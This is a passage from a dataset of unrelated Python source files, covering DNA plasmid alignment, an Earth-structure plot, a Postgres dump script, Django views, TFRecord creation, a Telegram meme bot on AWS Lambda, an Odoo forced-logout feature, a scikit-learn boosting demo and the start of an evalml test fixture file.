longer\r\n    internal_jaccard becomes the operative 'reverse' alignment. Then whichever of the operative foward and reverse\r\n    alignments has the higher NW-score is the alignment that is returned.\r\n\r\n    Returns the data from report_on_alignment plus an extra entry which is '+' if the forward alignment was returned\r\n    and '-' if the reverse was returned.\r\n\r\n    NOTE: If the re-centering is workign at all than it should be easy for the re-centered sequences to have a longer\r\n    internal_jaccard than the non-re-centered. So if that doens't seem to happen there is a bug likely.\r\n    '''\r\n    nwres1 = nowabbr.get_nwalign_wpenalty(seq1, seq2, diff_score, match_score, gap_score, asterix_score, endgap_score)\r\n    nwres1dat = report_on_alignment(nwres1, diff_score, match_score, gap_score, endgap_score, False)\r\n    #\r\n    seq1s, seq2s = center_circular_sequences(nwres1[3], nwres1[4])\r\n    nwres2 = nowabbr.get_nwalign_wpenalty(seq1s, seq2s, diff_score, match_score, gap_score, asterix_score, endgap_score)\r\n    nwres2dat = report_on_alignment(nwres2, diff_score, match_score, gap_score, endgap_score, False)\r\n    # Best forward NW-score is the one that aligns more of them internally (if shifting worked, should be the second one)\r\n    fwd_dat =  nwres2dat if nwres2dat[1]>=nwres1dat[1] else nwres1dat\r\n    if fwd_dat[0] > pdist_cutoff and (float(fwd_dat[7])/float(sum(fwd_dat[2:7])))>nwscore_cutoff:\r\n        return fwd_dat + ('+',)\r\n    #\r\n    nwres3 = nowabbr.get_nwalign_wpenalty(seq1, reverse_complement(seq2), diff_score, match_score, gap_score, asterix_score, endgap_score)\r\n    nwres3dat = report_on_alignment(nwres3, diff_score, match_score, gap_score, endgap_score, False)\r\n    #\r\n    seq1s, seq2rcs = center_circular_sequences(nwres3[3], nwres3[4])\r\n    nwres4 = nowabbr.get_nwalign_wpenalty(seq1s, seq2rcs, diff_score, match_score, gap_score, asterix_score, endgap_score)\r\n    nwres4dat = report_on_alignment(nwres4, diff_score, match_score, gap_score, endgap_score, False)\r\n    rev_dat = nwres4dat if nwres4dat[1] >= nwres3dat[1] else nwres3dat\r\n    #\r\n    if fwd_dat[7] >= rev_dat[7]:\r\n        return fwd_dat + ('+',)\r\n    else:\r\n        return rev_dat + ('-',)\r\n\r\ndef recenter_plasmid2_to_plasmid1(seq1, seq2):\r\n    '''Takes a pair of plasmids and adjusts the second one (reverse-complement if needed, plus recentering) to\r\n    be in a consistent reference position to the first one.\r\n\r\n    Returns the adjusted version of sequence2 (str) along with 1) a boolean variable indicating whether a\r\n    reverse-complement was necessary, 2) the length of the segment frameshift, 3) a boolean variable\r\n    indicating whether the shift was end-to-start or start-to-end (True=end-to-start). Return value is\r\n    as a single tuple in that order (adj_seq2, is_rc, shift_length, is_shift_end_to_start).'''\r\n    nwres1 = nowabbr.get_nwalign_wpenalty(seq1, seq2, -1, 1, -1, 0, 0)\r\n    nwres2 = nowabbr.get_nwalign_wpenalty(seq1, reverse_complement(seq2), -1, 1, -1, 0, 0)\r\n    if nwres2[2]>nwres1[2]:\r\n        revcomp=True\r\n        s1a = nwres2[3]; s2a = nwres2[4];\r\n    else:\r\n        revcomp=False\r\n        s1a = nwres1[3]; s2a = nwres1[4];\r\n    s1stgaps = np.where(str2nparr(s1a)!=45)[0][0]\r\n    s1engaps = np.where(str2nparr(s1a)[::-1]!=45)[0][0]\r\n    # assert s1stgaps==0 or s1engaps==0, 'problem with the aligned sequences: seq1 both starts and ends with a gap %s' % s1a\r\n    if s1stgaps>0 and s1engaps>0:\r\n        return s2a.replace('-',''), revcomp, 0, False\r\n    if s1stgaps==0:\r\n        s2out = s2a[-s1engaps:] + s2a[:-s1engaps]\r\n        shiftpos = s1engaps; shift_end_to_start=True;\r\n    else:\r\n        s2out = s2a[s1stgaps:] + s2a[:s1stgaps]\r\n        shiftpos = s1stgaps; shift_end_to_start = False;\r\n    s2out = s2out.replace('-', '')\r\n    return s2out, revcomp, shiftpos, shift_end_to_start\r\n\r\ndef get_indel_snp_locations(seq1, seq2):\r\n    '''\r\n    Returns the positions of all SNP, insertion and deletion events where seq2 represents the 'query' seuqnce and\r\n        seq1 represents the 'reference'. Will return a tuple representing:\r\n            (SNP_positions, seq2_insert_pos, seq1_deletion_pos, num_start_gaps, num_end_gaps)\r\n        where seq2_insert is a position in the alignment where sequence2 has a character and sequence1 does not\r\n        and seq1_deletions is the opposite. The first three of these arguments are np.arrays of type int32, the last\r\n        two are simple pythong integers.\r\n    '''\r\n    s1anp = str2nparr(seq1);\r\n    s2anp = str2nparr(seq2);\r\n    stgaps1 = np.where(~np.isin(s1anp ,[45,46]))[0][0];  engaps1 = np.where(~np.isin(s1anp[::-1] ,[45,46]))[0][0];\r\n    stgaps2 = np.where(~np.isin(s2anp ,[45,46]))[0][0];  engaps2 = np.where(~np.isin(s2anp[::-1] ,[45,46]))[0][0];\r\n    stgaps = max(stgaps1, stgaps2);         engaps = max(engaps1, engaps2);\r\n    s1=s1anp[stgaps:-engaps]; s2=s2anp[stgaps:-engaps];\r\n    insert_locs = np.where(( np.isin(s1,[45,46])) & (~np.isin(s2,[45,46])))[0]\r\n    delete_locs = np.where((~np.isin(s1,[45,46])) & ( np.isin(s2,[45,46])))[0]\r\n    snp_locs = np.where((~np.isin(s1,[45,46])) & (~np.isin(s2,[45,46])) & (s1 != s2))[0]\r\n    return snp_locs, insert_locs, delete_locs, stgaps, engaps\r\n\r\ndef aligned_positions_to_unaligned(seq_aln, pos_list_np):\r\n    '''Takes an (aligned) sequence and a list of positions and returns the corresponding positions\r\n    in the raw sequence. Position list must be a numpy array. Sequence can be in either 'str' or\r\n    numpy np.uint8 form.'''\r\n    if isinstance(seq_aln, str):\r\n        seq_aln = str2nparr(seq_aln)\r\n    temp = np.cumsum(seq_aln!=45)*(1-(seq_aln==45))-1\r\n    return temp[pos_list_np]\r\n\r\ndef unaligned_positions_to_aligned(seq_aln, pos_list_np_unaligned):\r\n    '''Goes the other way from the function above 'aligned_positions_to_unaligned(seq_aln, pos_list_np)' '''\r\n    if isinstance(seq_aln, str):\r\n        seq_aln = str2nparr(seq_aln)\r\n\r\n\r\n# def recenter_plasmid2_to_plasmid1_nucmer_coords(plas2,s1,e1,s2,e2):\r\n#     if s2>e2:\r\n#         rctr2 = rc(plas2)\r\n#","sub_path":"align.py","file_name":"align.py","file_ext":"py","file_size_in_byte":23133,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"562780471","text":"#!/usr/bin/env python3\nfrom pylab import *\nL=4000.\nrE=6371.\nalpha=L/rE\n\ntheta=linspace(pi/2-0.3*alpha,pi/2+0.7*alpha,500)\n\n# earth surface\nx=rE*cos(theta)\ny=rE*sin(theta)\nplot(x,y)\n\n# elastic lithosphere\nrL=rE-60.\nx=rL*cos(theta)\ny=rL*sin(theta)\nplot(x,y)\nannotate('Elastic Lithosphere', (-555,6283.17), (-1200, 6500),\n         arrowprops=dict(arrowstyle=\"->\"),\n         fontsize = 12)\n\n# asthenosphere\nrA=rE-220.\nx=rA*cos(theta)\ny=rA*sin(theta)\nplot(x,y)\ntext(-220, 6200, 'Asthenosphere', fontsize=9)\n\n# upper mantle\nrA=rE-670.\nx=rA*cos(theta)\ny=rA*sin(theta)\nplot(x,y)\ntext(-350, 5850,'Upper Mantle')\n\n# core-mantle\nrA=rE-2900.\nx=rA*cos(theta)\ny=rA*sin(theta)\nplot(x,y)\ntext(100, 4500,'Mantle')\ntext(100, 3200,'Core')\n\n# mark epicentor:\ntheta=pi/2\nx=rE*cos(theta)\ny=rE*sin(theta)\nplot(x,y,marker='s',ms=8,label='Epicenter',ls='')\n\n# mark J550:\nfrom pyproj import Geod\ng=Geod(ellps='WGS84')\nep=142.3765, 38.2966\nsite_pos=141.5020, 38.3011\ntp=g.inv(site_pos[0],site_pos[1],ep[0],ep[1])\ndis=tp[2]\ntheta=pi/2+dis/1e3/rE\nx=rE*cos(theta)\ny=rE*sin(theta)\nplot(x,y,marker='^',ms=8,label='J550',ls='')\n\n# mark J465:\nfrom pyproj import Geod\ng=Geod(ellps='WGS84')\nep=130.7649, 32.8421\nsite_pos=141.5020, 38.3011\ntp=g.inv(site_pos[0],site_pos[1],ep[0],ep[1])\ndis=tp[2]\ntheta=pi/2+dis/1e3/rE\nx=rE*cos(theta)\ny=rE*sin(theta)\nplot(x,y,marker='^',ms=8,label='J465, Kyushu',ls='')\n\n# mark ULAB:\nfrom pyproj import Geod\ng=Geod(ellps='WGS84')\nep=130.7649, 32.8421\nsite_pos=107.0523, 47.8652\ntp=g.inv(site_pos[0],site_pos[1],ep[0],ep[1])\ndis=tp[2]\ntheta=pi/2+dis/1e3/rE\nx=rE*cos(theta)\ny=rE*sin(theta)\nplot(x,y,marker='^',ms=8,label='ULAB, 3034km',ls='')\n\naxis('equal')\naxvline(0.,ls='--',color='gray')\nlegend(loc=3,numpoints=1, prop={'size':10})\nylim([2800, 7000])\n\nxlabel('km')\nylabel('km')\n\nsavefig('earth_model_spherical_effect.pdf')\nshow()\n","sub_path":"earth_model/plot_earth_model_spherical_effect.py","file_name":"plot_earth_model_spherical_effect.py","file_ext":"py","file_size_in_byte":1827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"551876090","text":"#!/usr/local/bin/python3\nimport re\nfrom pathlib import Path\nimport shutil\nimport os\n\n# init\nbase_path = 'db'\ndump_name = 'tsbusinessmanager.sql'\ndump_path = f'{base_path}/{dump_name}' \n# dump database schema\n# cmd = f'pg_dump -U postgres -h localhost -d tsbusinessmanager -f {dump_path} -F p -s -C'\ncmd = f'pg_dump -U postgres -h localhost -d tsbusinessmanager -f {dump_path} -F p -C' # save with data\n\n# delete previous version\nif os.path.isdir(base_path):\n    shutil.rmtree(base_path)\n\n# create base path\nPath(base_path).mkdir(parents=True, exist_ok=True)\n\n# dump files\nprint(f'Dumping db using cmd: {cmd}')\nos.system(cmd) \n\n# done\nprint('Done!')","sub_path":"server/dump-database.py","file_name":"dump-database.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"210688741","text":"from django.http import HttpResponse\nfrom django.shortcuts import render\nfrom django.db.models import Avg\nfrom .models import T1\n\n\n# Create your views here.\n\n\ndef douban(request):\n    return HttpResponse('ok')\n\n\ndef book_sort(request):\n    shorts = T1.objects.all()\n    t = T1.objects.all()\n\n    counter = t.count()\n    if counter < 1:\n        return HttpResponse('no')\n\n    star_avg = f\"{T1.objects.aggregate(Avg('n_star'))['n_star__avg']:0.1f}\"\n    sent_avg = \\\n        f\"{T1.objects.aggregate(Avg('sentiment'))['sentiment__avg']:0.2f}\"\n\n    queryset = T1.objects.values('sentiment')\n    condtions = {'sentiment__gte': 0.5}\n    plus = queryset.filter(**condtions).count()\n\n    queryset = T1.objects.values('sentiment')\n    condtions = {'sentiment__lt': 0.5}\n    minus = queryset.filter(**condtions).count()\n\n    return render(request, 'result.html', locals())\n","sub_path":"my_test_follow_teacher/week5/MyDjango/Douban/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"102425055","text":"import os\nimport tensorflow as tf\nfrom PIL import Image\n\ncwd = os.getcwd()\n\n\ndef create_tfrecords(isTrain):\n    if isTrain:\n        classes = [\"train_dog\", \"train_cat\"]\n        records_name = \"dog_cat_299_299_train.tfrecords\"\n    else:\n        classes = [\"eval_dog\", \"eval_cat\"]\n        records_name = \"dog_cat_299_299_eval.tfrecords\"\n\n    writer = tf.python_io.TFRecordWriter(records_name)\n    for index, name in enumerate(classes):\n        class_path = cwd + \"/\" + name + \"/\"\n        for img_name in os.listdir(class_path):\n            img_path = class_path + img_name\n            img = Image.open(img_path)\n            img = img.resize((299, 299))\n            img_raw = img.tobytes()\n            example = tf.train.Example(features=tf.train.Features(feature={\n                \"label\": tf.train.Feature(int64_list=tf.train.Int64List(value=[index])),\n                'img_raw': tf.train.Feature(bytes_list=tf.train.BytesList(value=[img_raw]))\n            }))\n            writer.write(example.SerializeToString())\n    writer.close()\n\n\ndef main(_):\n    create_tfrecords(isTrain=1)\n\n\nif __name__ == '__main__':\n    tf.app.run()\n","sub_path":"ldnet/stp-1_convert_to.py","file_name":"stp-1_convert_to.py","file_ext":"py","file_size_in_byte":1126,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"594552944","text":"from django.shortcuts import render\nfrom django.http import HttpResponseRedirect\nfrom django.core.urlresolvers import reverse\n\nfrom .models import News, NewsImage, Newsletter\nfrom .forms import NewsForm, NewsletterForm\n\n\ndef news(request):\n    news_stories = News.objects.order_by('-date')\n    images = NewsImage.objects.filter(news=news_stories)\n    newsletter = Newsletter.objects.order_by('-year', '-season')\n    dates = News.objects.dates('date', 'year', order='DESC')\n    if len(dates) <= 1:\n        dates = None\n    title = \"News\"\n    context_dict = {'news': news_stories,\n                    'newsletter': newsletter,\n                    'title': title,\n                    'images': images,\n                    'dates': dates,\n                    }\n    return render(request, 'news/news.html', context_dict)\n\n\ndef show_image(request, pk):\n    title = NewsImage.objects.get(pk=pk)\n    title = title.news.title\n    try:\n        image = NewsImage.objects.get(pk=pk)\n        context_dict = {'image': image, 'title': title}\n        return render(request, 'news/news_image.html', context_dict)\n    except:\n        return render(request, 'news/news_image.html', {})\n\n\ndef show_news_by_year(request, year):\n    title = str(year) + \" News\"\n    news_stories = News.objects.filter(date__year=year).order_by('-date')\n    images = NewsImage.objects.filter(news=news_stories)\n    newsletter = Newsletter.objects.order_by('-year', '-season')\n    dates = News.objects.dates('date', 'year', order='DESC')\n    print(dates)\n    this_year = year\n    context_dict = {'news': news_stories,\n                    'newsletter': newsletter,\n                    'title': title,\n                    'images': images,\n                    'dates': dates,\n                    'year': this_year,\n                    }\n    return render(request, 'news/news.html', context_dict)\n\n","sub_path":"my_site/news/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"36226224","text":"import json\nimport logging\nimport boto3 \nimport requests\nimport os\nfrom botocore.exceptions import ClientError\nlogger = logging.getLogger()\nlogger.setLevel(logging.INFO)\n\ndynamodb = boto3.resource('dynamodb')\n\ntexts = ['/start','/stop']\n\nclass ResponseMessages():\n    registered = \"your path to meme-lord has begun! welcome\"\n    already_re = \"you are already on the journey\"\n    error_re = \"meme-supreme aplogizes, we couldn't start your journey\"\n    deregistered = \"good-bye my friend\"\n    error_occured  = \"I don't feel so good! an error occured\"\n    default = \"Hi! MemeSupreme is primarly a meme delievery bot and doesn't yet support conversations. Thanks!\" \n\nreply = ResponseMessages()\n\ndef lambda_handler(event, context):\n    \n    logger.info(f\"Event {event}\")\n    logger.info(f\"#Event Body {event['body']} \")\n    body = event['body']\n    body = json.loads(body)\n    \n    try:\n        process(body[\"message\"])\n    except:\n        logger.error(\"Exception when invoking process\")\n        raise \n    \n    return {\n        'statusCode': 200\n    }\n\ndef process(request): \n    try:\n        logger.info(f\"request: {request}\")\n\n        user_id = request['from']['id']\n        chat_id = request['chat']['id']\n        username = request['from']['first_name']\n        message = request['text']\n        \n        logger.info(f\"user_id {user_id}, chat_id {chat_id}, message {message}\")\n\n        result_msg = reply.default \n        if message.lower() in texts:\n            method_name = \"perform_\"+message[1:].lower()\n            result_msg = globals()[method_name](chat_id,user_id,username)\n        \n        send_reply(chat_id,result_msg)\n\n    except:\n        logger.error(\"exeception occured while trying to match message with function\")\n        raise\n\n# if already exists skip and send different message else insert \ndef perform_start(chat_id,user_id,username):\n\n    chats = dynamodb.Table(\"Chats\")\n    try:\n        chats.put_item(Item={\n            'chatid':str(chat_id),\n            'userid':str(user_id),\n            'username':str(username)\n        },\n        ConditionExpression='attribute_not_exists(chatid)'\n        )\n        logger.info(\"Successfully inserted the chatid in the db\")\n        return reply.registered\n    except ClientError as e:\n        if e.response['Error']['Code'] == 'ConditionalCheckFailedException':\n            logger.info(f'already registered {e}')\n            return reply.already_re\n        else:\n            logger.error(f\"Error while inserting into table Chats {e.response['Error']['Message']}\")\n    return reply.error_re\n\n\ndef perform_stop(chat_id,user_id,username):\n    chats = dynamodb.Table(\"Chats\")    \n    try:\n        deleted = chats.delete_item(Key={\n            'chatid':str(chat_id)\n        },\n        ReturnValues='ALL_OLD')\n        logger.info(f\"{deleted} deleted successfully\")\n        return reply.deregistered\n    except ClientError as e:\n        logger.error(e.response['Error']['Message'])\n\n    return reply.error_occured\n\n# decouple this and put it in seperate lambda? \ndef send_reply(chat_id,message):\n    accesscode = os.environ['accesscode']\n\n    try:\n        url = f\"https://api.telegram.org/bot{accesscode}/sendMessage\"\n        logger.info(f\"url formed is {url}\")\n        response = requests.post(url, data={'chat_id':chat_id,'text':message})\n        logger.info(f\"Successfully sent message! {message}\")\n    except RequestException as e:\n        logger.error(f\"Couldn't send reply {e}\")","sub_path":"telegram-memesupreme.py","file_name":"telegram-memesupreme.py","file_ext":"py","file_size_in_byte":3437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"30607901","text":"# -*- coding: utf-8 -*-\nimport odoo\nfrom odoo import models, fields, api, http\nimport re\nimport os\n\n\nclass users(models.Model):\n    _inherit = 'res.users'\n\n    is_login = fields.Boolean(string=\"Is Login\", default=False)\n\n    @api.model\n    def find_login_user(self):\n        for sname in os.listdir(odoo.tools.config.session_dir):\n            name = re.split('_|\\\\.', sname)\n            session_store = http.root.session_store\n            get_session = session_store.get(name[1])\n            if get_session.db and get_session.uid:\n                find_user = self.env['res.users'].search(\n                    [('id', '=', get_session.uid)])\n                if find_user:\n                    find_user.is_login = True\n\n\nclass ForceLogoutWizard(models.TransientModel):\n    _name = \"force.logout.wizard\"\n    _description = \"Force Logout Wizard\"\n\n    @api.multi\n    def force_logout_button(self):\n        user_id = self.env['res.users'].browse(self._context.get('active_id'))\n        for fname in os.listdir(odoo.tools.config.session_dir):\n            path = os.path.join(odoo.tools.config.session_dir, fname)\n            name = re.split('_|\\\\.', fname)\n            session_store = http.root.session_store\n            get_session = session_store.get(name[1])\n            if get_session.db and get_session.uid == user_id.id:\n                os.unlink(path)\n                get_session.logout(keep_db=True)\n                user_id.is_login = False\n\n        return {'type': 'ir.actions.act_window_close'}\n","sub_path":"odoo_apps/restrict_user_from_login/models/res_users.py","file_name":"res_users.py","file_ext":"py","file_size_in_byte":1498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"99213700","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nfrom sklearn.ensemble import GradientBoostingClassifier\nfrom sklearn import datasets\n\n\nX, y = datasets.make_hastie_10_2(n_samples=12000, random_state=1)\nX = X.astype(np.float32)\n\n# Map labels from {-1, 1} to {0, 1}\nlabels, y = np.unique(y, return_inverse=True)\n\nX_train, X_test = X[:2000], X[2000:]\ny_train, y_test = y[:2000], y[2000:]\n\noriginal_params = {'n_estimators': 1000,\n                   'max_leaf_nodes': 4,\n                   'max_depth': None,\n                   'random_state': 2,\n                   'min_samples_split': 5}\n\ncolors = ['orange', 'turquoise', 'blue', 'gray', 'magenta']\n\nreg_settings = [('No shrinkage', {'learning_rate': 1.0, 'subsample': 1.0}),\n          ('learning_rate=0.1', {'learning_rate': 0.1, 'subsample': 1.0}),\n          ('subsample=0.5', {'learning_rate': 1.0, 'subsample': 0.5}),\n          ('learning_rate=0.1, subsample=0.5',\n           {'learning_rate': 0.1, 'subsample': 0.5}),\n          ('learning_rate=0.1, max_features=2',\n           {'learning_rate': 0.1, 'max_features': 2})]\n\nplt.figure()\n\nfor (label, setting), color in zip(reg_settings, colors):\n    params = dict(original_params)\n    params.update(setting)\n\n    clf = GradientBoostingClassifier(**params)\n    clf.fit(X_train, y_train)\n\n    # compute test set deviance\n    test_deviance = np.zeros((params['n_estimators'],), dtype=np.float64)\n\n    for i, y_pred in enumerate(clf.staged_decision_function(X_test)):\n        # clf.loss_ assumes that y_test[i] in {0, 1}\n        test_deviance[i] = clf.loss_(y_test, y_pred)\n\n    plt.plot((np.arange(test_deviance.shape[0]) + 1)[::5], test_deviance[::5],\n            '-', color=color, label=label)\n\nplt.legend(loc='upper right')\nplt.xlabel('Boosting Iterations')\nplt.ylabel('Test Set Deviance')\n\nplt.show()\n","sub_path":"ensemble_methods/plot_gradient_boosting_regularization.py","file_name":"plot_gradient_boosting_regularization.py","file_ext":"py","file_size_in_byte":1806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"456213689","text":"import contextlib\nimport os\nimport sys\nfrom unittest.mock import PropertyMock, patch\n\nimport numpy as np\nimport pandas as pd\nimport py\nimport pytest\nimport woodwork as ww\nfrom sklearn import datasets\nfrom skopt.space import Integer, Real\n\nfrom evalml.model_family import ModelFamily\nfrom evalml.objectives.utils import (\n    get_core_objectives,\n    get_non_core_objectives,\n)\nfrom evalml.pipelines import (\n    BinaryClassificationPipeline,\n    MulticlassClassificationPipeline,\n    RegressionPipeline,\n    TimeSeriesBinaryClassificationPipeline,\n    TimeSeriesMulticlassClassificationPipeline,\n    TimeSeriesRegressionPipeline,\n)\nfrom evalml.pipelines.components import (\n    DecisionTreeClassifier,\n    DecisionTreeRegressor,\n    Estimator,\n    LogisticRegressionClassifier,\n    StackedEnsembleClassifier,\n    StackedEnsembleRegressor,\n)\nfrom evalml.pipelines.components.ensemble.stacked_ensemble_base import (\n    _nonstackable_model_families,\n)\nfrom evalml.pipelines.components.utils import _all_estimators\nfrom evalml.preprocessing import load_data\nfrom evalml.problem_types import (\n    ProblemTypes,\n    handle_problem_types,\n    is_regression,\n)\n\n\ndef pytest_configure(config):\n    config.addinivalue_line(\n        \"markers\",\n        \"skip_offline: mark test to be skipped if offline (https://api.featurelabs.com cannot be reached)\",\n    )\n\n\ndef create_mock_pipeline(estimator, problem_type):\n    if problem_type == ProblemTypes.BINARY:\n\n        class MockBinaryPipelineWithOnlyEstimator(BinaryClassificationPipeline):\n            custom_name = f\"Pipeline with {estimator.name}\"\n            component_graph = [estimator]\n\n            def __init__(self, parameters, random_seed=0):\n                super().__init__(\n                    self.component_graph,\n                    parameters=parameters,\n                    custom_name=self.custom_name,\n                    random_seed=random_seed,\n                )\n\n        return MockBinaryPipelineWithOnlyEstimator\n    elif problem_type == ProblemTypes.MULTICLASS:\n\n        class MockMulticlassPipelineWithOnlyEstimator(MulticlassClassificationPipeline):\n            custom_name = f\"Pipeline with {estimator.name}\"\n            component_graph = [estimator]\n\n            def __init__(self, parameters, random_seed=0):\n                super().__init__(\n                    self.component_graph,\n                    parameters=parameters,\n                    custom_name=self.custom_name,\n                    random_seed=random_seed,\n                )\n\n        return MockMulticlassPipelineWithOnlyEstimator\n    elif problem_type == ProblemTypes.REGRESSION:\n\n        class MockRegressionPipelineWithOnlyEstimator(RegressionPipeline):\n            custom_name = f\"Pipeline with {estimator.name}\"\n            component_graph = [estimator]\n\n        return MockRegressionPipelineWithOnlyEstimator\n    elif problem_type == ProblemTypes.TIME_SERIES_REGRESSION:\n\n        class MockTSRegressionPipelineWithOnlyEstimator(TimeSeriesRegressionPipeline):\n            custom_name = f\"Pipeline with {estimator.name}\"\n            component_graph = [estimator]\n\n        return MockTSRegressionPipelineWithOnlyEstimator\n    elif problem_type == ProblemTypes.TIME_SERIES_BINARY:\n\n        class MockTSRegressionPipelineWithOnlyEstimator(\n            TimeSeriesBinaryClassificationPipeline\n        ):\n            custom_name = f\"Pipeline with {estimator.name}\"\n            component_graph = [estimator]\n\n        return MockTSRegressionPipelineWithOnlyEstimator\n    elif problem_type == ProblemTypes.TIME_SERIES_MULTICLASS:\n\n        class MockTSRegressionPipelineWithOnlyEstimator(\n            TimeSeriesMulticlassClassificationPipeline\n        ):\n            custom_name = f\"Pipeline with {estimator.name}\"\n            component_graph = [estimator]\n\n        return MockTSRegressionPipelineWithOnlyEstimator\n\n\n@pytest.fixture\ndef all_pipeline_classes():\n    all_possible_pipeline_classes = []\n    for estimator in [\n        estimator\n        for estimator in _all_estimators()\n        if estimator != StackedEnsembleClassifier\n        and estimator != StackedEnsembleRegressor\n    ]:\n        for problem_type in estimator.supported_problem_types:\n            all_possible_pipeline_classes.append(\n                create_mock_pipeline(estimator, problem_type)\n            )\n    return all_possible_pipeline_classes\n\n\n@pytest.fixture\ndef all_binary_pipeline_classes(all_pipeline_classes):\n    return [\n        pipeline_class\n        for pipeline_class in all_pipeline_classes\n        if issubclass(pipeline_class, BinaryClassificationPipeline)\n    ]\n\n\n@pytest.fixture\ndef all_multiclass_pipeline_classes(all_pipeline_classes):\n    return [\n        pipeline_class\n        for pipeline_class in all_pipeline_classes\n        if issubclass(pipeline_class, MulticlassClassificationPipeline)\n    ]\n\n\ndef pytest_addoption(parser):\n    parser.addoption(\n        \"--has-minimal-dependencies\",\n        action=\"store_true\",\n        default=False,\n        help=\"If true, tests will assume only the dependencies in\"\n        \"core-requirements.txt have been installed.\",\n    )\n    parser.addoption(\n        \"--is-using-conda\",\n        action=\"store_true\",\n        default=False,\n        help=\"If true, tests will assume that they are being run as part of\"\n        \"the build_conda_pkg workflow with the feedstock.\",\n    )\n\n\n@pytest.fixture\ndef has_minimal_dependencies(pytestconfig):\n    return pytestconfig.getoption(\"--has-minimal-dependencies\")\n\n\n@pytest.fixture\ndef is_using_conda(pytestconfig):\n    return pytestconfig.getoption(\"--is-using-conda\")\n\n\n@pytest.fixture\ndef is_running_py_39_or_above():\n    return sys.version_info >= (3, 9)\n\n\n@pytest.fixture\ndef assert_allowed_pipelines_equal_helper():\n    def assert_allowed_pipelines_equal_helper(\n        actual_allowed_pipelines, expected_allowed_pipelines\n    ):\n        for actual, expected in zip(\n            actual_allowed_pipelines, expected_allowed_pipelines\n        ):\n            for pipeline_subclass in [\n                BinaryClassificationPipeline,\n                MulticlassClassificationPipeline,\n                RegressionPipeline,\n            ]:\n                if isinstance(expected, pipeline_subclass):\n                    assert isinstance(expected, pipeline_subclass)\n                    break\n            assert actual.parameters == expected.parameters\n            assert actual.name == expected.name\n            assert actual.problem_type == expected.problem_type\n            assert actual.component_graph == expected.component_graph\n\n    return assert_allowed_pipelines_equal_helper\n\n\n@pytest.fixture\ndef X_y_binary():\n    X, y = datasets.make_classification(\n        n_samples=100, n_features=20, n_informative=2, n_redundant=2, random_state=0\n    )\n\n    return X, y\n\n\n@pytest.fixture\ndef X_y_binary_cls():\n    X, y = datasets.make_classification(\n        n_samples=100, n_features=20, n_informative=2, n_redundant=2, random_state=0\n    )\n    return pd.DataFrame(X), pd.Series(y)\n\n\n@pytest.fixture\ndef X_y_regression():\n    X, y = datasets.make_regression(\n        n_samples=100, n_features=20, n_informative=3, random_state=0\n    )\n    return X, y\n\n\n@pytest.fixture\ndef X_y_multi():\n    X, y = datasets.make_classification(\n        n_samples=100,\n        n_features=20,\n        n_classes=3,\n        n_informative=3,\n        n_redundant=2,\n        random_state=0,\n    )\n    return X, y\n\n\n@pytest.fixture\ndef X_y_categorical_regression():\n    data_path = os.path.join(os.path.dirname(__file__), \"data/tips.csv\")\n    flights = pd.read_csv(data_path)\n\n    y = flights[\"tip\"]\n    X = flights.drop(\"tip\", axis=1)\n\n    # add categorical dtype\n    X[\"smoker\"] = X[\"smoker\"].astype(\"category\")\n    return X, y\n\n\n@pytest.fixture\ndef X_y_categorical_classification():\n    data_path = os.path.join(os.path.dirname(__file__), \"data/titanic.csv\")\n    titanic = pd.read_csv(data_path)\n\n    y = titanic[\"Survived\"]\n    X = titanic.drop([\"Survived\", \"Name\"], axis=1)\n    return X, y\n\n\n@pytest.fixture()\ndef text_df():\n    df = pd.DataFrame(\n        {\n            \"col_1\": [\n                \"I'm singing in the rain! Just singing in the rain, what a glorious feeling, I'm happy again!\",\n                \"In sleep he sang to me, in dreams he came... That voice which calls to me, and speaks my name.\",\n                \"I'm gonna be the main event, like no king was before! I'm brushing up on looking down, I'm working on my ROAR!\",\n            ],\n            \"col_2\": [\n                \"do you hear the people sing? Singing the songs of angry men\\n\\tIt is the music of a people who will NOT be slaves again!\",\n                \"I dreamed a dream in days gone by, when hope was high and life worth living\",\n                \"Red, the blood of angry men - black, the dark of ages past\",\n            ],\n        }\n    )\n    df.ww.init(logical_types={\"col_1\": \"NaturalLanguage\", \"col_2\": \"NaturalLanguage\"})\n    yield df\n\n\n@pytest.fixture\ndef ts_data():\n    X, y = pd.DataFrame({\"features\": range(101, 132)}), pd.Series(range(1, 32))\n    y.index = pd.date_range(\"2020-10-01\", \"2020-10-31\")\n    X.index = pd.date_range(\"2020-10-01\", \"2020-10-31\")\n    return X, y\n\n\n@pytest.fixture\ndef ts_data_seasonal_train():\n    sine_ = np.linspace(-np.pi * 5, np.pi * 5, 25)\n    X, y = pd.DataFrame({\"features\": range(25)}), pd.Series(sine_)\n    y.index = pd.date_range(start=\"1/1/2018\", periods=25)\n    X.index = pd.date_range(start=\"1/1/2018\", periods=25)\n    return X, y\n\n\n@pytest.fixture\ndef ts_data_seasonal_test():\n    sine_ = np.linspace(-np.pi * 5, np.pi * 5, 25)\n    X, y = pd.DataFrame({\"features\": range(25)}), pd.Series(sine_)\n    y.index = pd.date_range(start=\"1/26/2018\", periods=25)\n    X.index = pd.date_range(start=\"1/26/2018\", periods=25)\n    return X, y\n\n\n@pytest.fixture\ndef dummy_pipeline_hyperparameters():\n    return {\n        \"Mock Classifier\": {\n            \"param a\": Integer(0, 10),\n            \"param b\": Real(0, 10),\n            \"param c\": [\"option a\", \"option b\", \"option c\"],\n            \"param d\": [\"option a\", \"option b\", 100, np.inf],\n        }\n    }\n\n\n@pytest.fixture\ndef 